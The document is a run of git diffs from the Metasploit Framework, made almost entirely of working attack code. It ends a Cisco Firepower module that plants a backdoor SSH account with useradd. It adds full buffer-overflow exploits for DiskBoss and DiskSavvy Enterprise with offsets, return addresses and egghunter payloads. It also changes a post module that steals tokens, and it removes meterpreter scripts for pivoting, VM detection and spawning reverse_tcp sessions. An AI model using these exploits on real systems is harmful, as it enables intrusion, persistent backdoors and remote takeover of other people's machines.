uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')
sf_action_id = get_sf_action_id(sid)
sh_name = 'exploit.sh'
print_status("Attempting to create an SSH backdoor as #{user}:#{pass}")
mime_data = Rex::MIME::Message.new
mime_data.add_part('Import', nil, nil, 'form-data; name="action_submit"')
mime_data.add_part('file', nil, nil, 'form-data; name="source"')
mime_data.add_part('1', nil, nil, 'form-data; name="manual_update"')
mime_data.add_part(sf_action_id, nil, nil, 'form-data; name="sf_action_id"')
mime_data.add_part(
"sudo useradd -g ldapgroup -p `openssl passwd -1 #{pass}` #{user}; rm /var/sf/SRU/#{sh_name}",
'application/octet-stream',
nil,
"form-data; name=\"file\"; filename=\"#{sh_name}\""
)
send_request_cgi({
'method' => 'POST',
'uri' => uri,
'cookie' => "CGISESSID=#{sid}",
'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",
'data' => mime_data.to_s,
'vars_get' => { 'no_mojo' => '1' },
})
end
def generate_new_username
datastore['NEWSSHUSER'] || Rex::Text.rand_text_alpha(5)
end
def generate_new_password
datastore['NEWSSHPASS'] || Rex::Text.rand_text_alpha(5)
end
def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: 'cisco',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def do_login
console_user = datastore['USERNAME']
console_pass = datastore['PASSWORD']
uri = normalize_uri(target_uri.path, 'login.cgi')
print_status("Attempting to login in as #{console_user}:#{console_pass}")
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'username' => console_user,
'password' => console_pass,
'target' => ''
}
})
unless res
fail_with(Failure::Unknown, 'Connection timed out while trying to log in.')
end
res_cookie = res.get_cookies
if res.code == 302 && res_cookie.include?('CGISESSID')
cgi_sid = res_cookie.scan(/CGISESSID=(\w+);/).flatten.first
print_status("CGI Session ID: #{cgi_sid}")
print_good("Authenticated as #{console_user}:#{console_pass}")
report_cred(username: console_user, password: console_pass)
return cgi_sid
end
nil
end
def execute_command(cmd, opts = {})
@first_exec = true
cmd.gsub!(/\/tmp/, '/usr/tmp')
# Weird hack for the cmd stager.
# Because it keeps using > to write the payload.
if @first_exec
@first_exec = false
else
cmd.gsub!(/>>/, ' > ')
end
begin
Timeout.timeout(3) do
@ssh_socket.exec!("#{cmd}\n")
vprint_status("Executing #{cmd}")
end
rescue Timeout::Error
fail_with(Failure::Unknown, 'SSH command timed out')
rescue Net::SSH::ChannelOpenFailed
print_status('Trying again due to Net::SSH::ChannelOpenFailed (sometimes this happens)')
retry
end
end
def init_ssh_session(user, pass)
print_status("Attempting to log into SSH as #{user}:#{pass}")
factory = ssh_socket_factory
opts = {
auth_methods: ['password', 'keyboard-interactive'],
port: datastore['SSHPORT'],
use_agent: false,
config: false,
password: pass,
proxy: factory,
non_interactive: true
}
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
@ssh_socket = Net::SSH.start(rhost, user, opts)
end
rescue Net::SSH::Exception => e
fail_with(Failure::Unknown, e.message)
end
end
def exploit
# To exploit the useradd vuln, we need to login first.
sid = do_login
return unless sid
# After login, we can call the useradd utility to create a backdoor user
new_user = generate_new_username
new_pass = generate_new_password
create_ssh_backdoor(sid, new_user, new_pass)
# Log into the SSH backdoor account
init_ssh_session(new_user, new_pass)
begin
execute_cmdstager({:linemax => 500})
ensure
@ssh_socket.close
end
end
end

View File

@ -0,0 +1,131 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'DiskBoss Enterprise GET Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability
in the web interface of DiskBoss Enterprise v7.5.12 and v7.4.28,
caused by improper bounds checking of the request path in HTTP GET
requests sent to the built-in web server. This module has been
tested successfully on Windows XP SP3 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'vportal', # Vulnerability discovery and PoC
'Gabor Seljan' # Metasploit module
],
'References' =>
[
['EDB', '40869']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x09\x0a\x0d\x20",
'Space' => 2000
},
'Targets' =>
[
[
'Automatic Targeting',
{
'auto' => true
}
],
[
'DiskBoss Enterprise v7.4.28',
{
'Offset' => 2471,
'Ret' => 0x1004605c # ADD ESP,0x68 # RETN [libpal.dll]
}
],
[
'DiskBoss Enterprise v7.5.12',
{
'Offset' => 2471,
'Ret' => 0x100461da # ADD ESP,0x68 # RETN [libpal.dll]
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Dec 05 2016',
'DefaultTarget' => 0))
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/'
)
if res && res.code == 200
if res.body =~ /DiskBoss Enterprise v7\.(4\.28|5\.12)/
return Exploit::CheckCode::Vulnerable
elsif res.body =~ /DiskBoss Enterprise/
return Exploit::CheckCode::Detected
end
else
vprint_error('Unable to determine due to a HTTP connection timeout')
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Safe
end
def exploit
mytarget = target
if target['auto']
mytarget = nil
print_status('Automatically detecting the target...')
res = send_request_cgi(
'method' => 'GET',
'uri' => '/'
)
if res && res.code == 200
if res.body =~ /DiskBoss Enterprise v7\.4\.28/
mytarget = targets[1]
elsif res.body =~ /DiskBoss Enterprise v7\.5\.12/
mytarget = targets[2]
end
end
if !mytarget
fail_with(Failure::NoTarget, 'No matching target')
end
print_status("Selected Target: #{mytarget.name}")
end
sploit = make_nops(21)
sploit << payload.encoded
sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length)
sploit << [mytarget.ret].pack('V')
sploit << rand_text_alpha(2500)
send_request_cgi(
'method' => 'GET',
'uri' => sploit
)
end
end

View File

@ -0,0 +1,150 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'DiskSavvy Enterprise GET Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability
in the web interface of DiskSavvy Enterprise v9.1.14 and v9.3.14,
caused by improper bounds checking of the request path in HTTP GET
requests sent to the built-in web server. This module has been
tested successfully on Windows XP SP3 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'vportal', # Vulnerability discovery and PoC
'Gabor Seljan' # Metasploit module
],
'References' =>
[
['EDB', '40869']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x09\x0a\x0d\x20",
'Space' => 500
},
'Targets' =>
[
[
'Automatic Targeting',
{
'auto' => true
}
],
[
'DiskSavvy Enterprise v9.1.14',
{
'Offset' => 542,
'Ret' => 0x101142c0 # POP # POP # RET [libspp.dll]
}
],
[
'DiskSavvy Enterprise v9.3.14',
{
'Offset' => 2478,
'Ret' => 0x101142ff # POP # POP # RET [libspp.dll]
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Dec 01 2016',
'DefaultTarget' => 0))
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/'
)
if res && res.code == 200
version = res.body[/Disk Savvy Enterprise v[^<]*/]
if version
vprint_status("Version detected: #{version}")
if version =~ /9\.(1|3)\.14/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Detected
end
else
vprint_error('Unable to determine due to a HTTP connection timeout')
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Safe
end
def exploit
mytarget = target
if target['auto']
mytarget = nil
print_status('Automatically detecting the target...')
res = send_request_cgi(
'method' => 'GET',
'uri' => '/'
)
if res && res.code == 200
if res.body =~ /Disk Savvy Enterprise v9\.1\.14/
mytarget = targets[1]
elsif res.body =~ /Disk Savvy Enterprise v9\.3\.14/
mytarget = targets[2]
end
end
if !mytarget
fail_with(Failure::NoTarget, 'No matching target')
end
print_status("Selected target: #{mytarget.name}")
end
eggoptions = {
checksum: true,
eggtag: rand_text_alpha(4, payload_badchars)
}
hunter, egg = generate_egghunter(
payload.encoded,
payload_badchars,
eggoptions
)
sploit = make_nops(10)
sploit << egg
sploit << rand_text_alpha(mytarget['Offset'] - egg.length)
sploit << generate_seh_record(mytarget.ret)
sploit << make_nops(8)
sploit << hunter
sploit << rand_text_alpha(4500)
print_status('Sending malicious request...')
send_request_cgi(
'method' => 'GET',
'uri' => sploit
)
end
end

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
module MetasploitModule
CachedSize = 292344
CachedSize = 301456
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
module MetasploitModule
CachedSize = 285000
CachedSize = 295848
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
module MetasploitModule
CachedSize = 284152
CachedSize = 295848
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
module MetasploitModule
CachedSize = 504960
CachedSize = 521872
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
module MetasploitModule
CachedSize = 484668
CachedSize = 503004
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
module MetasploitModule
CachedSize = 484732
CachedSize = 503036
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
module MetasploitModule
CachedSize = 329724
CachedSize = 395276
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
module MetasploitModule
CachedSize = 396160
CachedSize = 396192
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x64_mettle_linux'
module MetasploitModule
CachedSize = 289824
CachedSize = 302144
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x86_mettle_linux'
module MetasploitModule
CachedSize = 292828
CachedSize = 305148
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
module MetasploitModule
CachedSize = 367864
CachedSize = 380192
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -16,7 +16,7 @@ class MetasploitModule < Msf::Post
'Description' => %q{
This module zips a file or a directory. On Linux, it uses the zip command.
On Windows, it will try to use remote target's 7Zip if found. If not, it falls
back to its own VBScript.
back to its Windows Scripting Host.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
@ -39,10 +39,12 @@ class MetasploitModule < Msf::Post
file?("#{get_program_file_path}\\7-Zip\\7z.exe")
end
def vbs(dest, src)
vbs_file = File.read(File.join(Msf::Config.data_directory, "post", "zip", "zip.vbs"))
vbs_file << "WindowsZip \"#{src}\",\"#{dest}\""
vbs_file
def wsh_script(dst, src)
script_file = File.read(File.join(Msf::Config.data_directory, "post", "zip", "zip.js"))
src.gsub!("\\", "\\\\\\")
dst.gsub!("\\", "\\\\\\")
script_file << "zip(\"#{src}\",\"#{dst}\");".force_encoding("UTF-8")
script_file
end
def find_pid_by_user(username)
@ -62,7 +64,7 @@ class MetasploitModule < Msf::Post
pid = find_pid_by_user(current_user)
unless pid
fail_with(Failure::Unknown, "Unable to find a PID for #{current_user} to execute .vbs")
fail_with(Failure::Unknown, "Unable to find a PID for #{current_user} to execute WSH")
end
print_status("Stealing token from PID #{pid} for #{current_user}")
@ -77,21 +79,21 @@ class MetasploitModule < Msf::Post
@token_stolen = true
end
def upload_exec_vbs_zip
def upload_exec_wsh_script_zip
if is_system?
unless session
print_error('Unable to decompress with VBS technique without Meterpreter')
print_error('Unable to compress with WSH technique without Meterpreter')
return
end
steal_token
end
script = vbs(datastore['DESTINATION'], datastore['SOURCE'])
tmp_path = "#{get_env('TEMP')}\\zip.vbs"
print_status("VBS file uploaded to #{tmp_path}")
write_file(tmp_path, script)
cmd_exec("wscript.exe #{tmp_path}")
script = wsh_script(datastore['DESTINATION'], datastore['SOURCE'])
tmp_path = "#{get_env('TEMP')}\\zip.js"
print_status("script file uploaded to #{tmp_path}")
write_file(tmp_path, script.encode("UTF-16LE"))
cmd_exec("cscript.exe #{tmp_path}")
end
def do_7zip
@ -110,8 +112,8 @@ class MetasploitModule < Msf::Post
print_status("Compressing #{datastore['DESTINATION']} via 7zip")
do_7zip
else
print_status("Compressing #{datastore['DESTINATION']} via VBS")
upload_exec_vbs_zip
print_status("Compressing #{datastore['DESTINATION']} via WSH")
upload_exec_wsh_script_zip
end
end

View File

@ -1,209 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##
#
# Meterpreter script for setting up a route from within a
# Meterpreter session, without having to background the
# current session.
# Default options
session = client
subnet = nil
netmask = "255.255.255.0"
print_only = false
remove_route = false
remove_all_routes = false
# Options parsing
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [false, "Help and usage"],
"-s" => [true, "Subnet (IPv4, for example, 10.10.10.0)"],
"-n" => [true, "Netmask (IPv4, for example, 255.255.255.0"],
"-p" => [false, "Print active routing table. All other options are ignored"],
"-d" => [false, "Delete the named route instead of adding it"],
"-D" => [false, "Delete all routes (does not require a subnet)"]
)
@@exec_opts.parse(args) { |opt, idx, val|
v = val.to_s.strip
case opt
when "-h"
usage
raise Rex::Script::Completed
when "-s"
if v =~ /[0-9\x2e]+\x2f[0-9]{1,2}/
subnet,cidr = v.split("\x2f")
netmask = Rex::Socket.addr_ctoa(cidr.to_i)
else
subnet = v
end
when "-n"
if (0..32) === v.to_i
netmask = Rex::Socket.addr_ctoa(v.to_i)
else
netmask = v
end
when "-p"
print_only = true
when "-d"
remove_route = true
when "-D"
remove_all_routes = true
end
}
def delete_all_routes
if Rex::Socket::SwitchBoard.routes.size > 0
routes = []
Rex::Socket::SwitchBoard.each do |route|
routes << {:subnet => route.subnet, :netmask => route.netmask}
end
routes.each {|route_opts| delete_route(route_opts)}
print_status "Deleted all routes"
else
print_status "No routes have been added yet"
end
raise Rex::Script::Completed
end
# Identical functionality to command_dispatcher/core.rb, and
# nearly identical code
def print_routes
if Rex::Socket::SwitchBoard.routes.size > 0
tbl = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "Active Routing Table",
'Prefix' => "\n",
'Postfix' => "\n",
'Columns' =>
[
'Subnet',
'Netmask',
'Gateway',
],
'ColProps' =>
{
'Subnet' => { 'MaxWidth' => 17 },
'Netmask' => { 'MaxWidth' => 17 },
})
ret = []
Rex::Socket::SwitchBoard.each { |route|
if (route.comm.kind_of?(Msf::Session))
gw = "Session #{route.comm.sid}"
else
gw = route.comm.name.split(/::/)[-1]
end
tbl << [ route.subnet, route.netmask, gw ]
}
print tbl.to_s
else
print_status "No routes have been added yet"
end
raise Rex::Script::Completed
end
# Yet another IP validator. I'm sure there's some Rex
# function that can just do this.
def check_ip(ip=nil)
return false if(ip.nil? || ip.strip.empty?)
begin
rw = Rex::Socket::RangeWalker.new(ip.strip)
(rw.valid? && rw.length == 1) ? true : false
rescue
false
end
end
# Adds a route to the framework instance
def add_route(opts={})
subnet = opts[:subnet]
netmask = opts[:netmask] || "255.255.255.0" # Default class C
Rex::Socket::SwitchBoard.add_route(subnet, netmask, session)
end
# Removes a route to the framework instance
def delete_route(opts={})
subnet = opts[:subnet]
netmask = opts[:netmask] || "255.255.255.0" # Default class C
Rex::Socket::SwitchBoard.remove_route(subnet, netmask, session)
end
# Defines usage
def usage()
print_status "Usage: run autoroute [-r] -s subnet -n netmask"
print_status "Examples:"
print_status " run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0"
print_status " run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0"
print_status " run autoroute -s 10.10.10.1/24 # CIDR notation is also okay"
print_status " run autoroute -p # Print active routing table"
print_status " run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route"
print_status "Use the \"route\" and \"ipconfig\" Meterpreter commands to learn about available routes"
print_error "Deprecation warning: This script has been replaced by the post/windows/manage/autoroute module"
end
# Validates the command options
def validate_cmd(subnet=nil,netmask=nil)
if subnet.nil?
print_error "Missing -s (subnet) option"
return false
end
unless(check_ip(subnet))
print_error "Subnet invalid (must be IPv4)"
usage
return false
end
if(netmask and !(Rex::Socket.addr_atoc(netmask)))
print_error "Netmask invalid (must define contiguous IP addressing)"
usage
return false
end
if(netmask and !check_ip(netmask))
print_error "Netmask invalid"
return usage
end
true
end
if print_only
print_routes()
raise Rex::Script::Completed
end
if remove_all_routes
delete_all_routes()
raise Rex::Script::Completed
end
raise Rex::Script::Completed unless validate_cmd(subnet,netmask)
if remove_route
print_status("Deleting route to %s/%s..." % [subnet,netmask])
route_result = delete_route(:subnet => subnet, :netmask => netmask)
else
print_status("Adding a route to %s/%s..." % [subnet,netmask])
route_result = add_route(:subnet => subnet, :netmask => netmask)
end
if route_result
print_good "%s route to %s/%s via %s" % [
(remove_route ? "Deleted" : "Added"),
subnet,netmask,client.sock.peerhost
]
else
print_error "Could not %s route" % [(remove_route ? "delete" : "add")]
end
if Rex::Socket::SwitchBoard.routes.size > 0
print_status "Use the -p option to list all active routes"
end

View File

@ -1,359 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
# Meterpreter script for detecting if target host is a Virtual Machine
# Provided by Carlos Perez at carlos_perez[at]darkoperator.com
# Version: 0.2.0
session = client
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false,"Help menu." ]
)
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line("CheckVM -- Check various attributes on the target for evidence that it is a virtual machine")
print_line("USAGE: run checkvm")
print_line(@@exec_opts.usage)
raise Rex::Script::Completed
end
}
# Function for detecting if it is a Hyper-V VM
def hypervchk(session)
begin
vm = false
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft', KEY_READ)
sfmsvals = key.enum_key
if sfmsvals.include?("Hyper-V")
print_status("This is a Hyper-V Virtual Machine")
vm = true
elsif sfmsvals.include?("VirtualMachine")
print_status("This is a Hyper-V Virtual Machine")
vm = true
end
key.close
rescue
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("vmicheartbeat")
print_status("This is a Hyper-V Virtual Machine")
vm = true
elsif srvvals.include?("vmicvss")
print_status("This is a Hyper-V Virtual Machine")
vm = true
elsif srvvals.include?("vmicshutdown")
print_status("This is a Hyper-V Virtual Machine")
vm = true
elsif srvvals.include?("vmicexchange")
print_status("This is a Hyper-V Virtual Machine")
vm = true
end
rescue
end
end
return vm
end
# Function for checking if it is a VMware VM
def vmwarechk(session)
vm = false
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("vmdebug")
print_status("This is a VMware Virtual Machine")
vm = true
elsif srvvals.include?("vmmouse")
print_status("This is a VMware Virtual Machine")
vm = true
elsif srvvals.include?("VMTools")
print_status("This is a VMware Virtual Machine")
vm = true
elsif srvvals.include?("VMMEMCTL")
print_status("This is a VMware Virtual Machine")
vm = true
end
key.close
rescue
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0')
if key.query_value('Identifier').data.downcase =~ /vmware/
print_status("This is a VMware Virtual Machine")
vm = true
end
rescue
end
end
if not vm
vmwareprocs = [
"vmwareuser.exe",
"vmwaretray.exe"
]
vmwareprocs.each do |p|
session.sys.process.get_processes().each do |x|
if p == (x['name'].downcase)
print_status("This is a VMware Virtual Machine") if not vm
vm = true
end
end
end
end
key.close
return vm
end
# Function for checking if it is a Virtual PC VM
def checkvrtlpc(session)
vm = false
vpcprocs = [
"vmusrvc.exe",
"vmsrvc.exe"
]
vpcprocs.each do |p|
session.sys.process.get_processes().each do |x|
if p == (x['name'].downcase)
print_status("This is a VirtualPC Virtual Machine") if not vm
vm = true
end
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("vpcbus")
print_status("This is a VirtualPC Virtual Machine")
vm = true
elsif srvvals.include?("vpc-s3")
print_status("This is a VirtualPC Virtual Machine")
vm = true
elsif srvvals.include?("vpcuhub")
print_status("This is a VirtualPC Virtual Machine")
vm = true
elsif srvvals.include?("msvmmouf")
print_status("This is a VirtualPC Virtual Machine")
vm = true
end
key.close
rescue
end
end
return vm
end
def vboxchk(session)
vm = false
vboxprocs = [
"vboxservice.exe",
"vboxtray.exe"
]
vboxprocs.each do |p|
session.sys.process.get_processes().each do |x|
if p == (x['name'].downcase)
print_status("This is a Sun VirtualBox Virtual Machine") if not vm
vm = true
end
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("VBOX__")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("VBOX__")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("VBOX__")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0')
if key.query_value('Identifier').data.downcase =~ /vbox/
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System')
if key.query_value('SystemBiosVersion').data.downcase =~ /vbox/
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("VBoxMouse")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
elsif srvvals.include?("VBoxGuest")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
elsif srvvals.include?("VBoxService")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
elsif srvvals.include?("VBoxSF")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
end
key.close
rescue
end
end
return vm
end
def xenchk(session)
vm = false
xenprocs = [
"xenservice.exe"
]
xenprocs.each do |p|
session.sys.process.get_processes().each do |x|
if p == (x['name'].downcase)
print_status("This is a Xen Virtual Machine") if not vm
vm = true
end
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("Xen")
print_status("This is a Xen Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("Xen")
print_status("This is a Xen Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("Xen")
print_status("This is a Xen Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("xenevtchn")
print_status("This is a Xen Virtual Machine")
vm = true
elsif srvvals.include?("xennet")
print_status("This is a Xen Virtual Machine")
vm = true
elsif srvvals.include?("xennet6")
print_status("This is a Xen Virtual Machine")
vm = true
elsif srvvals.include?("xensvc")
print_status("This is a Xen Virtual Machine")
vm = true
elsif srvvals.include?("xenvdb")
print_status("This is a Xen Virtual Machine")
vm = true
end
key.close
rescue
end
end
return vm
end
def qemuchk(session)
vm = false
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0')
if key.query_value('Identifier').data.downcase =~ /qemu/
print_status("This is a QEMU/KVM Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\CentralProcessor\0')
if key.query_value('ProcessorNameString').data.downcase =~ /qemu/
print_status("This is a QEMU/KVM Virtual Machine")
vm = true
end
rescue
end
end
return vm
end
if client.platform =~ /win32|win64/
print_status("Checking if target is a Virtual Machine .....")
found = hypervchk(session)
found = vmwarechk(session) if not found
found = checkvrtlpc(session) if not found
found = vboxchk(session) if not found
found = xenchk(session) if not found
found = qemuchk(session) if not found
print_status("It appears to be physical host.") if not found
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end

View File

@ -1,153 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
# Author: Scriptjunkie
# Uses a meterpreter session to spawn a new meterpreter session in a different process.
# A new process allows the session to take "risky" actions that might get the process killed by
# A/V, giving a meterpreter session to another controller, or start a keylogger on another
# process.
#
#
# Options
#
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "This help menu"],
"-r" => [ true, "The IP of a remote Metasploit listening for the connect back"],
"-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4546)"],
"-w" => [ false, "Write and execute an exe instead of injecting into a process"],
"-e" => [ true, "Executable to inject into. Default notepad.exe, will fall back to spawn if not found."],
"-P" => [ true, "Process id to inject into; use instead of -e if multiple copies of one executable are running."],
"-s" => [ false, "Spawn new executable to inject to. Only useful with -P."],
"-D" => [ false, "Disable the automatic exploit/multi/handler (use with -r to accept on another system)"]
)
#
# Default parameters
#
rhost = Rex::Socket.source_address("1.2.3.4")
rport = 4546
lhost = "127.0.0.1"
spawn = false
autoconn = true
inject = true
target_pid = nil
target = "notepad.exe"
pay = nil
#
# Option parsing
#
opts.parse(args) do |opt, idx, val|
case opt
when "-h"
print_line(opts.usage)
raise Rex::Script::Completed
when "-r"
rhost = val
when "-p"
rport = val.to_i
when "-P"
target_pid = val.to_i
when "-e"
target = val
when "-D"
autoconn = false
when "-w"
inject = false
when "-s"
spawn = true
end
end
print_status("Creating a reverse meterpreter stager: LHOST=#{rhost} LPORT=#{rport}")
payload = "windows/meterpreter/reverse_tcp"
pay = client.framework.payloads.create(payload)
pay.datastore['LHOST'] = rhost
pay.datastore['LPORT'] = rport
mul = client.framework.exploits.create("multi/handler")
mul.share_datastore(pay.datastore)
mul.datastore['WORKSPACE'] = client.workspace
mul.datastore['PAYLOAD'] = payload
mul.datastore['EXITFUNC'] = 'process'
mul.datastore['ExitOnSession'] = true
print_status("Running payload handler")
mul.exploit_simple(
'Payload' => mul.datastore['PAYLOAD'],
'RunAsJob' => true
)
if client.platform =~ /win32|win64/
server = client.sys.process.open
print_status("Current server process: #{server.name} (#{server.pid})")
if ! inject
exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw)
print_status("Meterpreter stager executable #{exe.length} bytes long")
#
# Upload to the filesystem
#
tempdir = client.sys.config.getenv('TEMP')
tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
tempexe.gsub!("\\\\", "\\")
fd = client.fs.file.new(tempexe, "wb")
fd.write(exe)
fd.close
print_status("Uploaded the agent to #{tempexe} (must be deleted manually)")
#
# Execute the agent
#
print_status("Executing the agent with endpoint #{rhost}:#{rport}...")
